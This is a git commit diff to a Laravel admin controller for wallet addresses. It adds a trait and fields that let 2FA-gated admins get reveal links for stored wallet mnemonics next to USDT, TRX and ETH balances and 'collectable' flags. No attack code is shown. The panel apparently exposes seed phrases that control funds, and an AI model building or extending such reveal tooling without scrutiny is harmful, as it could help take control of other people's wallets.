feat: mem

This commit is contained in:
hashbro
2026-10-01 00:24:29 +08:00
parent 7e8be467a0
commit ff516a0e30
3 changed files with 131 additions and 3 deletions
@@ -3,6 +3,7 @@
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Concerns\RevealsMnemonics;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletAddress;
@@ -17,6 +18,7 @@ use Illuminate\Validation\Rule;
class WalletAddressController extends Controller
{
use PortalAware;
use RevealsMnemonics;
public function index()
{
@@ -42,6 +44,9 @@ class WalletAddressController extends Controller
'agents' => $agents,
'sources' => $sources,
'chainTypes' => $chainTypes,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
]);
}
@@ -65,9 +70,11 @@ class WalletAddressController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
$canReveal = $this->canRevealMnemonics();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
/** @var WalletAddress $row */
$coins = $row->formattedCoins();
$mnemonicId = $row->mnemonic_id;
return [
'id' => $row->id,
@@ -76,7 +83,11 @@ class WalletAddressController extends Controller
'source' => $row->source ?: '',
'chain_type' => $row->chain_type ?: '',
'address' => $row->address,
'collectable' => $row->mnemonic_id !== null,
'collectable' => $mnemonicId !== null,
'mnemonic_id' => $mnemonicId,
'reveal_url' => ($canReveal && $mnemonicId !== null)
? $this->mnemonicRevealUrl($mnemonicId)
: '',
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],